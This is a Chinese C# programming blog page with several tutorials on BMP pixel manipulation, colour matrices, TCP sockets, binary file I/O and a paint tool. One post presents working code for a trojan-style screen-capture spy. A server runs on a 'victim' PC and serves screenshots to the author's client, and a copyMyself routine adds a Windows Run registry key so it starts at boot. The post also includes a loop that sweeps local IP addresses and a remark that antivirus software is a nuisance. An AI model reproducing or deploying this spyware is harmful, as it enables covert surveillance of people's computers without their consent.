posts - 30, comments - 154, trackbacks - 0, articles - 2 |
||
|
摘要: 本来就是入门的 那就先说下gdi 跟 bmp 这些东西吧。1 gdi跟bmpvc里的CDC 也就是设备上下文 相当于c#里的graphics ,也有lineTo等方法。其实我们在c#中使用graphics的时候就已经在使用gdi+了我们却浑然不觉那么gdi到底在哪里呢 试着在c盘搜索gdiplus或者gdi32名字的文件 你应该会找到 就像这个直接删除应该删不掉 不过你可以给他改个名字 别改了自己都搞忘了O(∩_∩)O哈！。 然后你随便运行个程序比如QQ 肿么样Initialization failure:0x0000000E使用windows自带的图片查看器 加载 c:\windows\sy阅读全文 posted @ 2012-03-07 21:43 assassinx 阅读(1103) 评论(4) 编辑 摘要: 这可能是菜鸟程序员最喜欢搞的事了哈，并且乐此不彼O(∩_∩)O哈！最开始本来只是想写段远程传文件的代码 写着写着我就突发奇想 想把别人电脑的截屏传过来，是不是很邪恶 嘿嘿倒腾了一阵原来还是挺简单的 并且速度好像还挺快。 在这里我就不谈socket编程的基本了哈 直奔主题我们要实现的功能是：在我有需要的时候就把受害人电脑的截屏数据传到我电脑上简单分析一下 参见灰鸽子 啊那啥的常见木马程序我们就知道主动传数据的一方 也就是server程序是放在受害人电脑上的 client程序是放在我电脑上的什么叫有需要呢 就是我主动去连server端。server端一检测到有连接就把数据发过来然后断开连接 一检测阅读全文 posted @ 2012-02-18 19:00 assassinx 阅读(5619) 评论(43) 编辑 摘要: 大家新年快乐吖 (¯▽¯；)这是一个包含所有代码的示例 可直接运行，主要包含了文件读写时二进制数据流和字符数据的处理并且我都写了很详细的注释 方便大家也方便自己学习：using System;using System.Net.NetworkInformation;using System.Text;using System.IO;namespace ConsoleApplication1{ class Program { static void Main(string[] args) { binaryWriteRead(); ...阅读全文 posted @ 2012-02-09 21:36 assassinx 阅读(285) 评论(1) 编辑 摘要: 最近做一些图像处理相关的东西 还是有那么一点点心得分享下第一部分：做一个画图板程序类windows里的mspaint首先是想到怎么把基本功能实现 铅笔阿 画线阿 画圆 画框阿 啥的，为了突出咱的不同 咱做一个对图形进行拖动 调整大小的功能 。要对图形重定义 那么要对图像保存元数据以便以后调整 说得忽悠点就是序列化啥的 砖家们经常这样讲 画线 铅笔 画圆 画框 这些在.net的graphic里调用都一句话的事 然后在onpaint里进行重绘就可以了。 明白原理自己去实现也不是不可以 以前我写过一篇在winfrom里画直线的文章 只是我们没有必要再去造轮子。我们先弄一个工具栏 整个工具切换效果 先阅读全文 posted @ 2011-11-02 05:00 assassinx 阅读(1542) 评论(7) 编辑 摘要: 准备在winform程序里做一个图片剪切功能，一个矩形框 有手柄 可进行调整 对图片进行裁剪。 就像ACDSee那样：在园子里找了下没有现成的东东，准备自己整个。仔细想了下对图片进行裁剪 裁剪这个过程完全不用我们费心因为.Net里盖茨大叔开的公司为我们提供了drawImage这个万能的函数啦，msdn里对他的大概解释是 把原图指定矩形区域的像素“画”到目标Image的指定矩形区域来看看： //图像裁剪 public Bitmap GetPartOfImage(Bitmap sourceImg, int width, int height, int offsetX, int offsetY) {阅读全文 posted @ 2011-09-13 00:46 assassinx 阅读(2166) 评论(37) 编辑 摘要: 俺又来耍宝了哈也许有人耍过了 就别喷我了 ，啊 那个 这位童鞋 你知道有这个东东么 ？熟么 不知道 不知道就对了 （俺就好忽悠了 挖哈哈）。我晕死到底是熟么啊这就是号称天上地下无所不知的wolframalpha科学计算引擎哈肿么读捏 ，我也不晓得 你可以把它读作“沃from阿尔法” 随便你咯 。他一出现日月无光飞沙走石哈。熟么google百度在他面前那简直都是浮云他其实并不是一个搜索引擎 它的独特之处是在你输入一串字母 他能马上理解问题 并给你答案。举个例子 比如你说 你好吗 他说 我很好，你说 3+2等于几 他说 等于5 嗯 就是这样 有点像人工智能哈最重要的一点是他有强大的数学函数计算功能阅读全文 posted @ 2011-07-23 08:01 assassinx 阅读(1636) 评论(6) 编辑 摘要: 哦啦啦，俺又来啦，几个月不见是不是很想俺呐，挖哈哈 (¯▽¯；)。俺这个文章纯属抛砖引玉 ，希望各位高手不要丢板砖啦。俺们写程序也就是一个乐趣 比不了你们这些博客园的牛x人啦这次俺们来秀下直线方程 小意思 见笑啦，俺们用得最多的就是.net了哈 所以依旧在.net平台上做测试好正题：先把一次函数搬出来哈直线的方程：y=ax+b地球人都知道哈啊，如果是初中都没上的同学请略过。。。还有两边都是1的直角等边三角形他的斜边是多少？当然是根号2啦 哈哈哈平常老在VC里lineTo()过去 lineTo()过来，童鞋们难道就没想过他是怎么来的么。如果知道了两个坐标（x1,y1 ）(x2阅读全文 posted @ 2011-07-04 02:29 assassinx 阅读(1786) 评论(7) 编辑 摘要: 安装 vs2008会有附带的 sqlserver2005express版我们开发一般都用那个 都不单独安装sqlserver的地球人都知道express版的sql是没有 事件探查器的看到网上依然有好多菜鸟在寻找（其实偶也是菜鸟(¯▽¯；) 莫打我哈）看得让人蛋疼。俺今天就是来帮助解决这个问题的。事件探查器 在sql2000里也有，很强大 可以监视进程 查看连接数 查看死锁 什么...阅读全文 posted @ 2010-10-24 18:01 assassinx 阅读(4137) 评论(13) 编辑 摘要: 说在前头的：自认为写程序也有那么一段时间了，对面向对象编程还是有那么一丁点理解 (虽然现在一说OOP之类的文章 啊 网上满天飞)。大师称不上 见笑了哈 小菜一个。搞asp.net这么久了，网上一搜什么 web方面的 满天飞搜几篇winform的文章 弄死找不到，本人很菜。一个winform快捷键的问题解决不了（winform上方了文本框控件 点了文本框或者按钮后 winform的keydown事件...阅读全文 posted @ 2010-09-24 05:26 assassinx 阅读(589) 评论(1) 编辑 摘要: 在说源码之前俺 先说说，这个俄罗斯方块的“基本原理”，莫打我哈 ^_^1首先那个方块是由4个格子组合成的形状， 对吧2方块有两种情况会 卡住 ，一种是到底了 第二种是 跟其他堆积起来的方块产生“边界接触”。对吧3方块会自动下落，对吧 如果卡住了 又会在顶上出现新的方块4下落的过程中可以旋转（空间允许的情况下）5如果在堆积起来的方块中出现 &ldquo...阅读全文 posted @ 2010-09-24 05:23 assassinx 阅读(369) 评论(0) 编辑 摘要: 准备工作都做好了，关键部分“原理”也说了，该干点事了吧该主调程序 game类出场的时候了,不得不说的是，首先对于编程的人来说 不管你高手也好 菜鸟也好。对于你要做的事 目标要明确，你要做什么。怎么做 先做什么 后做什么，什么情况为“完成”，什么情况为“失败”这才是一个正常的 程序员应该有的思维，作为一个程序员 我们就是要看透事...阅读全文 posted @ 2010-09-24 05:22 assassinx 阅读(374) 评论(0) 编辑 摘要: 上几章那些代码都没什么难度 ，关键是清晰的条理，跟面向对象编程的思维。我们都是正常人，我们不是火星来的 我们不做高手。我们不写让人看不懂的代码，我们体验编程的乐趣。我们不需要有难度的代码，事实上合理的设计 ，跟面向对象的分析 跟编码 将会降低你“写程序的难度”，并且也让你的代码“看起来更简单”。推荐大家看一本书（翻译过来的名字）《C++游戏编程入门教...阅读全文 posted @ 2010-09-24 05:20 assassinx 阅读(455) 评论(0) 编辑 摘要: 写了几章了 ，该完了吧。是骡子是马拉出来溜溜 ，好歹得给点东西大家瞧瞧啊，光说不练假把式。最后在我们的form1窗体里 拖一个panel控件（俺就是喜欢拖控件，以呀咿呀哦），再放个lable用来显示分数拖成这样：然后再放个timmer控件 设置interval为500毫秒，设置enable=true编写interval 事件：窗体载入时：编写窗体的OnkeyDown事件（注意窗体上不要拖其他多余控...阅读全文 posted @ 2010-09-24 05:16 assassinx 阅读(2586) 评论(13) 编辑 本来就是入门的 那就先说下gdi 跟 bmp 这些东西吧。 1 gdi跟bmp
2 位图文件格式
3 水平不咋滴，还是来敲点代码吧，\(^o^)/~先卖个关子哈 上面你下载的示例图片你看到东西了吗 还是黑乎乎一片 嘿嘿。如果你看到了那你见鬼了 还是赶快拜拜春哥吧 void bmpRead()//读取bmp文件格式
{
Image bmp = (Bitmap)Image.FromFile("bmpTestImg.bmp");
MemoryStream bmpData = new MemoryStream();
bmp.Save(bmpData, ImageFormat.Bmp);
BinaryReader br = new BinaryReader(bmpData);
//为什么要偏移18个字节 因为bmp格式"龟腚"在18字节那个地方开始用32位整型存储图像的宽度跟高度
bmpData.Seek(18, SeekOrigin.Begin);
int width = br.ReadInt32();
int height = br.ReadInt32();
MessageBox.Show(string.Format("宽{0}，高{1}", width, height));
//第11个字节处储存数据字节的起始位置
bmpData.Seek(10, SeekOrigin.Begin);
int dataStart = br.ReadInt32();
byte[] datas = new byte[width * height];
int indx = 0;
bmpData.Seek(dataStart, SeekOrigin.Begin);
//注意咯 这是调色板开始的位置 更改调色板将会让"看不见"的图像显示出来
bmpData.Seek(54, SeekOrigin.Begin);
Random rd = new Random();
bmpData.Write(new byte[] { (byte)rd.Next(0, 255), (byte)rd.Next(0, 255),
(byte)rd.Next(0, 255), 0 }, 0, 4);
bmpData.Write(new byte[] { (byte)rd.Next(0, 255), (byte)rd.Next(0, 255),
(byte)rd.Next(0, 255), 0 }, 0, 3);
Image newbmp = Bitmap.FromStream(bmpData);
Graphics.FromHwnd(this.Handle).DrawImage(newbmp, new Point(0, 0));
bmpData.Close();
br.Close();
}
上面的代码很简单滴 (⊙o⊙)哦 都看得懂吧 别忘了要在执行文件同级目录放上偶的图片哦 嘿嘿。 void setPix()//
{
FileStream bmpData = File.Open("mm.bmp", FileMode.Open); BinaryReader br = new BinaryReader(bmpData);
bmpData.Seek(10, SeekOrigin.Begin);int bmpDataStart = br.ReadInt32();
bmpData.Seek(18, SeekOrigin.Begin);int width = br.ReadInt32();int height = br.ReadInt32();
Bitmap newBmp = (Bitmap)new Bitmap(width, height, PixelFormat.Format24bppRgb);
MemoryStream newBmpData = new MemoryStream();
newBmp.Save(newBmpData, ImageFormat.Bmp);BinaryReader br2 = new BinaryReader(newBmpData);
newBmpData.Seek(10, SeekOrigin.Begin); int newBmpDataStart = br2.ReadInt32();
newBmpData.Seek(newBmpDataStart, SeekOrigin.Begin);
for (int i = 0; i < height; i++)
{
bmpData.Seek(((width * 24 + 31) / 32 * 4) * i + bmpDataStart, SeekOrigin.Begin);
newBmpData.Seek(((width * 24 + 31) / 32 * 4) * i + newBmpDataStart, SeekOrigin.Begin);
for (int j = 0; j < width; j++)
{
//注意bmp的像素值是按照bgr的顺序存储的哦
byte[] data = new byte[3];
bmpData.Read(data, 0, 3);
newBmpData.Write(new byte[] { data[2], data[1], data[0] }, 0, 3);
}
//下面的填充值要不要都可以
int fill = ((width * 24 + 31) / 32 * 4) - width * 3;
if (fill > 0)
{
byte[] fills = new byte[] { 0, 0, 0 };
newBmpData.Write(fills, 0, fills.Length);
}
}
newBmpData.Flush();
newBmp = (Bitmap)Bitmap.FromStream(newBmpData);
Graphics.FromHwnd(this.Handle).DrawImage(newBmp, new Point(0, 0));
bmpData.Close(); newBmpData.Close();
br.Close(); br2.Close();
}
如果你把for (int i = 0; i < height; i++)改成 for (int i = 0; i < height/2; i++) 可以看下效果 可以证明在文件中是按照图像从左至右往上 的方式存储的 void lockPix()
{
Bitmap bmp = (Bitmap)Image.FromFile("mm.bmp");
BitmapData datas = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height),
System.Drawing.Imaging.ImageLockMode.ReadWrite, System.Drawing.Imaging.PixelFormat.Format24bppRgb);
unsafe
{
byte* p = (byte*)datas.Scan0;
int indx = 0;
for (int i = 0; i < bmp.Height/2; i++)
{
for (int j = 0; j < bmp.Width; j++)
{
byte b, g, r; b = p[indx + 1]; g = p[indx + 2]; r = p[indx + 3];
//byte lightLv = (byte)(r * 0.3 + g * 0.59 + b * 0.11);
byte gray = (byte)((r + g + b) / 3);
p[indx++] = gray; p[indx++] = gray; p[indx++] = gray;
}
}
}
bmp.UnlockBits(datas);
Graphics.FromHwnd(this.Handle).DrawImage(bmp, new Point(0, 0));
bmp.Dispose();
}
灰度图 哎呀 跟你说得又俗又土点就是对每个像素 rgb三个值加起来除以3 不想跟你讲那些我自己都不怎么明白的东西 void matrixColor()
{
Bitmap bmp = (Bitmap)Image.FromFile("mm.bmp");
ImageAttributes ia = new ImageAttributes();
//灰阶
//float[][] colorMatrix ={
// new float[]{0.299f,0.299f, 0.299f, 0, 0},
// new float[]{0.587f,0.587f, 0.587f, 0, 0},
// new float[]{0.114f,0.114f, 0.114f, 0, 0},
// new float[]{0, 0, 0, 1, 0},
// new float[]{0, 0, 0, 0, 1}
// };
//灰阶
//float[][] colorMatrix ={
// new float[]{0.3f, 0.3f, 0.3f, 0, 0},
// new float[]{0.3f, 0.3f, 0.3f, 0, 0},
// new float[]{0.3f, 0.3f, 0.3f, 0, 0},
// new float[]{0, 0, 0, 1, 0},
// new float[]{0, 0, 0, 0, 1}
// };
//反色
//float[][] colorMatrix ={
// new float[]{-1, 0, 0, 0, 0},
// new float[]{0, -1, 0, 0, 0},
// new float[]{0, 0, -1, 0, 0},
// new float[]{0, 0, 0, 1, 0},
// new float[]{1, 1, 1, 0, 1}
// };
//亮度
float[][] colorMatrix ={
new float[]{1, 0, 0, 0, 0},
new float[]{0, 1, 0, 0, 0},
new float[]{0, 0, 1, 0, 0},
new float[]{0, 0, 0, 1, 0},
new float[]{l, l, l, 0, 1}};
l -= 0.1f;
ColorMatrix cm = new ColorMatrix(colorMatrix);
ia.SetColorMatrix(cm, ColorMatrixFlag.Default, ColorAdjustType.Bitmap);
Graphics.FromHwnd(this.Handle).DrawImage(bmp, new Rectangle(0, 0, bmp.Width, bmp.Height),
0, 0, bmp.Width, bmp.Height, GraphicsUnit.Pixel, ia);
}
float l = 0.5f;
rgb为3个能量值 我们看到屏幕上花花绿绿 颜色是因为三个能量值产生差异化 说俗点就是三个值的比例不一样 void light(ref int r, ref int g, ref int b)
{
//计算后的平均值
//增加亮度
float gray= (r + g + b) + level * 90 > 255 * 3 ? 255 * 3 : (r + g + b) + level * 90;
//降低亮度
//float gray = (r + g + b) - level * 90 < 0 ? 0 : (r + g + b) - level * 90; ;
float percentR = (float)r / (r + g + b), percentG = (float)g / (r + g + b), percentB = (float)b / (r + g + b);
r = (int)(gray * percentR > 255 ? 255 : gray * percentR);
g = (int)(gray * percentG > 255 ? 255 : gray * percentG);
b = (int)(gray * percentB > 255 ? 255 : gray * percentB);
float ren = gray - (r + g + b);
if (ren >= 3)
{
r = (r + (int)ren) > 255 ? 255 : (r + (int)ren);
g = (g + (int)ren) > 255 ? 255 : (g + (int)ren);
b = (b + (int)ren) > 255 ? 255 : (b + (int)ren);
}
}
int level = 0;
其实呢也远可以不必这样 直接rgb分别乘以1.2 或者1.1之类的就可以了 只不过颜色会失真 好了终于写完啦 好累ya 完了 ( ⊙ o ⊙ ) 本来就很菜 这点破秘密全被你们晓得了 以后出去俺还杂混呐
posted @ 2012-03-07 21:43 assassinx 阅读(1103) 评论(4) 编辑 这可能是菜鸟程序员最喜欢搞的事了哈，并且乐此不彼O(∩_∩)O哈！
我们要实现的功能是：在我有需要的时候就把受害人电脑的截屏数据传到我电脑上
1服务端编程 首先截屏的代码 四句 网上到处都有： Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);
g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
myImg.Save("Capture.gif", System.Drawing.Imaging.ImageFormat.Gif);
数据有了然后就是发送了 也就是最常见的IO操作 ，把从本地文件读到的数据不停的写到网络流中： //准备本地数据进行写入网络
FileStream fs = File.OpenRead("Capture.gif");
//写入消息头 文件长度，客户端根据此长度进行读取
writer.Write(fs.Length);
writer.Flush();
//本地文件缓冲区
byte[] data = new byte[10];
int reds;
int total = 0;
//写入的过程：
//先从本地文件读到缓冲区中，然后把缓冲区的字节数写入网络
//直到网络写入成功后 再读取足够的字节数到本地文件缓冲区
//如此往复直到整个文件全部传输出去
while ((reds = fs.Read(data, 0, data.Length)) > 0)
{
writer.Write(data, 0, reds);
total += reds;
}
fs.Close();
//如果没有进行close操作 tcp端口缓存的字节可能不会立即被发往客户端
//所以这个是必须的
writer.Flush();
好了服务端就这样了Ok 但是为了符合面向对象编程的原则 我们依然用对象的方式把“受害的过程”进行了一个包装 //客户端线程
class ServerToClient
{
TcpClient clientSocket;
BinaryWriter writer;
public ServerToClient(TcpClient client)
{
clientSocket = client;
NetworkStream stream = clientSocket.GetStream();
writer = new BinaryWriter(stream, Encoding.ASCII);
}
public void send()
{
}
public void close()
{
writer.Close();
clientSocket.Close();
}
}
“受害者”那端一开机程序就会自动运行 等待“有需要”的人过来 ，也就是偶啦 哇哈哈(¯▽¯；) 。 然后把自己截屏的数据给他 给完过后继续等待下一次被蹂躏。 static void Main(string[] args)
{
TcpListener server = new TcpListener(6000);
server.Start();
while (true)
{
ServerToClient c = new ServerToClient(server.AcceptTcpClient());
Console.WriteLine("新的连接");
//防止传输过程中客户端掉线
try
{
//c.send();
c.sendAdvance();
Console.WriteLine("发送完成");
c.close();
}
catch (Exception ex)
{
Console.WriteLine("客户端已离线:" + ex.Message);
}
}
server.Stop();
Console.ReadKey();
}
2客户端编程 客户端要做的事就很简单了: 请求连接->连上->传数据->关闭连接 TcpClient client;
long fileLength;
BinaryReader reader;
byte[] data = new byte[8192];
//准备工作
public Client(IPAddress serverIp)
{
int port = 6000;
client = new TcpClient();
client.Connect(serverIp, port);
Console.WriteLine("连上了");
NetworkStream stream = client.GetStream();
reader = new BinaryReader(stream);
}
其实重要的还是接收数据。 程序设计是一个严谨的东西 就跟泡妞是一种很严肃的社会活动一样 ，几个字节的误差就足以让连接中断 或者是图像显示不出来 //字节数组转长整型（二进制转十进制）
static long getNum(byte[] bytes)
{
//int srcData = 312705998;
//比如上面的int值在内存中是0x12a383ce 的形式存储的
//但是他在文件中存储确是反过来的（低位在前 高位在后）
//如果我一次读取4字节就是下面的形式
//byte []data = {0xce,0x83,0xa3,0x12};
long[] nums = { 1, 256, 65536, 16777216, 4294967296, 1099511627776, 281474976710656, 72057594037927936 };
if (bytes.Length > nums.Length)
throw new Exception("溢出");
long num = 0;
for (int i = 0; i < bytes.Length; i++)
num += (bytes[i] * nums[i]);
return num;
}
下边是调用getNum获取数据长度以及 获取数据的过程： //接收数据
public void recv()
{
FileStream fs = File.Create(DateTime.Now.Ticks+ ".gif");
byte[] fileLengthSrc = new byte[8];
try
{
reader.Read(fileLengthSrc, 0, 8);
long fileLength = getNum(fileLengthSrc);
long reds = 0;//已经读取字节数
//开始传输
while (reds < fileLength)
{
if (fileLength - reds > data.Length)
{
int red = reader.Read(data, 0, data.Length);
if (red == 0)
break;
fs.Write(data, 0, red);
reds += red;
}
else if (fileLength - reds < data.Length && fileLength - reds > 0)
{
int red = reader.Read(data, 0, data.Length);
if (red == 0)
break;
fs.Write(data, 0, red);
reds += red;
}
Thread.Sleep(10);
}
}
catch (Exception ex)
{
Console.WriteLine("数据传输异常或者服务端已离线:" + ex.Message);
}
fs.Flush();
fs.Close();
reader.Close();
client.Close();
}
客户端调用过程： static void Main(string[] args)
{
IPAddress serverIp = new IPAddress(new byte[]{127,0,0,1});
if(args.Length>0)
IPAddress.TryParse(args[0], out serverIp);
Client c= new Client(serverIp);
c.recv();
Console.WriteLine("文件接收完成...");
//Console.ReadKey();
}
客户端及服务端执行过程：
3后续 关于界面 for /l %%a in (1,1,10) do socketdemo 192.168.0.%a 命令行是多么的方便 为什么linux都是命令行优先 所以说要界面是非程序员的不靠谱的说法哈。
关于server端数据的发送 public void sendAdvance()
{
Image myImg = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);
g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size);
writer.Write(long.MaxValue);//不要怕 客户端只要read==0会自动break的
myImg.Save(writer.BaseStream, System.Drawing.Imaging.ImageFormat.Gif);
writer.BaseStream.Flush();
}
更加让你抓狂的： //接收数据
public void recv()
{
try
{
Image bmp = Bitmap.FromStream(reader.BaseStream);
bmp.Save(DateTime.Now.Ticks + ".gif");
}
catch (Exception ex)
{
Console.WriteLine("数据传输异常或者服务端已离线:" + ex.Message);
}
reader.Close();
client.Close();
}
关于socket的有些东西还有必要说下
更符合“木马”的风格
第二个也很简单通过System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;就可取到当前进程对应的可执行程序的目录 void copyMyself()//
{
RegistryKey hkml = Registry.LocalMachine;
RegistryKey software = hkml.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
object value = software.GetValue("lovedrxiang");
if (value!=null)
return;
string src = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
string folder= Environment.GetFolderPath(Environment.SpecialFolder.System);
string dest = folder+src.Substring(src.LastIndexOf(@"\"));
if (!File.Exists(dest))
{
File.Copy(src, dest);
software.SetValue("lovedrxiang", dest);
}
}
这个其实完全就是一个正常合理合法的程序 压根儿就不是什么木马。360还有啥子管家啊 是一个让人蛋疼的东西 。并且对方不能开防火墙 最后是全部源码 猛击此处 最后还有想用传图像的方式做远控的童鞋 这个是相当困难滴哈 网上有这方面的文章 自己去发掘 posted @ 2012-02-18 19:00 assassinx 阅读(5619) 评论(43) 编辑 服务端：
class Client
{
TcpClient clientSocket;
StreamWriter writer;
public Client(TcpClient client)
{
clientSocket = client;
NetworkStream stream = clientSocket.GetStream();
writer = new StreamWriter(stream,Encoding.ASCII);
}
public void write(string str)
{
//flush也很重要 如果你想发出去过后客户端立即就收到请使用这个 要不他会把数据放到缓冲区里
//客户端也就一直在read那里等待
writer.WriteLine(str);
writer.Flush();
}
public void close()
{
//是否调用了close 然后客户端等待一段时间再read就会收不到数据呢 或者提示服务端已断开异常呢
//否 只有马上运行完后此socket不进行close 直接关闭程序。这时客户端read操作才会报连接断开异常
//在这之前客户端会持续的读到服务端发过去的数据
//注意：只要服务端先发送数据然后通过正常手续依次关闭socket、监听 然后程序退出
//那么客户端也不会有问题
//看似客户端还没来得及收数据
//实际上write方法运行完毕这个数据就已经写到客户端缓冲区了(这种小数据实际上一瞬间就传过去了)
//tcp就是要保证数据已经正确到达目标机后收到一个确认后才会继续发后面的数据的
//tcp正是通过这种机制维护了数据的完整性
//服务端正常close 那么客户端唯一判断的方式就是read方法返回0 说明连接的另一端已经退出
//只要还有连接 那么客户端调用同步read方法那么不读到数据线程是会被阻塞的就一直卡在那里
//如果写了数据不立即Flush他也会暂时收不到数据也会卡在那里
//如果服务端非正常关闭 则客户端read的时候产生连接断开异常
//基于以上所以程序两端要"商量"着一起退出程序时通常是给对方发消息 收到消息后进行close
writer.Close();
clientSocket.Close();
}
}
class Program
{
static void Main(string[] args)
{
TcpListener server = new TcpListener(6000);
server.Start();
//while (true)
//{
Client c = new Client(server.AcceptTcpClient());
Console.WriteLine("新的连接");
//Thread.Sleep(2000);
for (int i = 0; i < 3; i++)
{
c.write("hello,welcome ^_^" + i.ToString());
//Thread.Sleep(1000);
}
Thread.Sleep(5000);
c.write("finally");
Console.WriteLine("发送完成");
Thread.Sleep(10000);
c.close();
//Thread.Sleep(100000);
//}
server.Stop();
}
}
客户端： class Program
{
static void Main(string[] args)
{
TcpClient client = new TcpClient();
client.Connect(IPAddress.Parse(@"127.0.0.1"), 6000);
Console.WriteLine("连上了");
StreamReader reader = new StreamReader(client.GetStream());
//Thread.Sleep(6000);
while (true)
{
try
{
byte[] data = new byte[1024];
//if (client.Available > 0)
//{
//read方法使用
//第三个参数不一定是client.Available 因为别人到底发了多少数据过来是未知的
//自己想对多少个字节解码就读多少字节就是了
//可能想到Read方法返回的读取数是0 tcp是有连接的有状态的 所以每次Read是必定能读到东西的
//如果调用同步Read方法没有读到对方发过来的东西 他会挂起直到读到数据为止
//如果调用后立即返回0说明连接已经断开了
//Thread.Sleep(2000);
int reds = reader.BaseStream.Read(data, 0, data.Length);
if (reds == 0)
break;
if (Encoding.ASCII.GetString(data).IndexOf("finally") != -1)
{
Console.WriteLine(Encoding.ASCII.GetString(data, 0, reds));
break;
}
if (reds < data.Length)
Console.WriteLine(Encoding.ASCII.GetString(data, 0, reds));
else
Console.WriteLine(Encoding.ASCII.GetString(data));
//当缓冲区内没有数据时立即就中断读取是不妥的
//有可能网络延迟数据还没有发过来
//}
//else
// break;
}
catch (Exception ex)
{
Console.WriteLine("服务端已断开:" + ex.Message);
break;
}
}
Console.WriteLine("over");
client.Close();
Console.ReadKey();
}
}
posted @ 2012-02-14 16:38 assassinx 阅读(70) 评论(0) 编辑 大家新年快乐吖 (¯▽¯；)
using System;
using System.Net.NetworkInformation;
using System.Text;
using System.IO;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
binaryWriteRead();
//copy();
//Console.WriteLine("复制完成");
//txtRead();
}
//二进制读写综合应用（适合搞啥子序列化啊游戏数据保存之类的）
//注意本实例里的内存变化字节数等
static void binaryWriteRead()
{
//写入磁盘（在内存中是output 因为是输出到外部设备 ）
//操作系统中stream是以内存为参照的
FileStream fs = File.Create("保存");
System.IO.BinaryWriter writer = new BinaryWriter(fs);
Random rdm = new Random();
for (int i = 0; i < 10; i++)//int32 4字节X10
{
int num = rdm.Next();
writer.Write(num);
Console.WriteLine("写入整数：{0}", num);
}
char[] data = { 'h', 'e', 'l', 'l', 'o' };
writer.Write(data);
Console.WriteLine("写入：hello");
writer.Write('-');//46字节
//写入26个字母的ascii码
//如果读取的时候使用的是streamReader 则读取的是对应ascii的字母
for (byte i = 97; i < 97 + 26; i++)
writer.Write(i);
Console.WriteLine("写入字母a~z");
writer.Write('\n');//71字节
Console.WriteLine("------------------------------------------");
fs.Flush();
fs.Close();
writer.Close();
//-------------------------------------------------------------
//读取(在内存中是input)
fs = File.OpenRead("保存");
BinaryReader reader = new BinaryReader(fs);
//读取26个字母
fs.Seek(46, SeekOrigin.Begin);
for (byte i = 97; i < 97 + 26; i++)
Console.Write(reader.ReadChar());
//读取10个整数
fs.Seek(-72, SeekOrigin.Current);
Console.WriteLine();
//int 代表 System.Int32 4个字节
//如果writer.Write(true) 实际上也是写入一个字节：0x0001
//字节是基本单位
byte[] numData = new byte[4];
for (int i = 0; i < 10; i++)
{
reader.Read(numData, 0, 4);
Console.WriteLine("读取整数：{0}", byteArToLong(numData));//手工对byte数组进行转换
//Console.WriteLine("读取整数：{0}", reader.ReadInt32());
}
reader.Close();
fs.Close();
}
static int getNum(byte[] bytes)//二进制转十进制(我帖子里留言那位兄弟滴代码很牛x ^_^)
{
//long型数据类型为8字节
int num = 0;
int n = Math.Min(bytes.Length, 4) - 1;
for (int i = n; i > -1; i--)
num = (num << 8) | bytes[i];//num = (num<<8) + bytes[i];
return num;
}
//字节数组转长整型（二进制转十进制）
static long byteArToLong(byte[] bytes)
{
//int [] nums= {1,256,512,1024,2048,4096,8192,16384,32768,65536,131072,262144};
//当时我的代码是这样写的哈遇到大的数字就要出问题，一个字节8位应该是8的平方 而我写的确是2的平方
//不过上面那位留言的高手只顾自己开心了这么明显的错误也没看出来
//int srcData = 312705998;
//比如上面的int值在内存中是0x12a383ce 的形式存储的
//但是他在文件中存储确是反过来的（低位在前 高位在后）
//如果我一次读取4字节就是下面的形式
//byte []data = {0xce,0x83,0xa3,0x12};
int[] nums = { 1, 256, 65536, 16777216 };
if (bytes.Length > nums.Length)
throw new Exception("溢出");
long num = 0;
for (int i = 0; i < bytes.Length; i++)
num += (bytes[i] * nums[i]);
return num;
}
static void copy()//文件拷贝(二进制读写)
{
FileStream fs = File.OpenRead("d:/新建文件夹 (2).zip");
FileInfo copys = new FileInfo("d:/复件.zip");
FileStream fsCopy = copys.Create();
byte[] data = new byte[10];
int reds;
while ((reds = fs.Read(data, 0, data.Length)) > 0)
fsCopy.Write(data, 0, reds);
fs.Flush();
fsCopy.Close();
fs.Close();
}
static void txtRead()//文本读取
{
//ANSI编码是个很蛋疼的东西
//比如utf-8还有其他编码存储的文本文件最开始会有两个字节用来识别编码的
//而ANSI没有 但是ANSI是经过扩了展的有汉字编码
//以前曾试过自己直接通过读取二进制再解码的方式来做 但是真滴很麻烦
//还是这样比较方便 偷懒 O(∩_∩)O哈哈~
FileStream fs = File.Open(@"d:/a.cs", FileMode.Open);
StreamReader reader = new StreamReader(fs);
string data;
while ((data = reader.ReadLine()) != null)
Console.WriteLine(data);
}
}
}
posted @ 2012-02-09 21:36 assassinx 阅读(285) 评论(1) 编辑
最近做一些图像处理相关的东西 还是有那么一点点心得分享下 第一部分：做一个画图板程序类windows里的mspaint 我们先弄一个工具栏 整个工具切换效果 先拖个menustrip控件 然后加5个菜单项：
//工具切换效果
private void menuStrip1_ItemClicked(object sender, ToolStripItemClickedEventArgs e)
{
for (int i = 0; i < menuStrip1.Items.Count; i++)
{
menuStrip1.Items[i].BackColor = Color.FromName("Control");
}
e.ClickedItem.BackColor = Color.Green;
}
然后再声明一个枚举类型 枚举5种工具,单击菜单项的时候进行切换: private void 画线ToolStripMenuItem_Click(object sender, EventArgs e)
{
type = toolType.line;
}
private void 铅笔ToolStripMenuItem_Click(object sender, EventArgs e)
{
type = toolType.pencil;
}
toolType type;
enum toolType
{
line, pencil,rec
}
然后是画的过程，咱不能直接在窗体上画 咱得保存元数据阿，线段吗暂时用 Ilist<Point> 就可以 铅笔用graphicPath 矩形就用 Ilist<Rectangle> private void Form1_Paint(object sender, PaintEventArgs e)
{
//for (int i = 0; i < line.Count; i += 1)
//{
// if (i >= line.Count - 1)
// break;
// e.Graphics.DrawLine(Pens.Red, line[i], line[i + 1]);
//}
for (int i = 0; i < lines.Count; i += 2)
{
if (i >= lines.Count - 1)
break;
e.Graphics.DrawLine(Pens.Red, lines[i], lines[i + 1]);
}
foreach (Rectangle rec in recs)
{
e.Graphics.DrawRectangle(Pens.Green, rec);
}
}
private void Form1_MouseMove(object sender, MouseEventArgs e)
{
//line.Add(e.Location);
Invalidate();
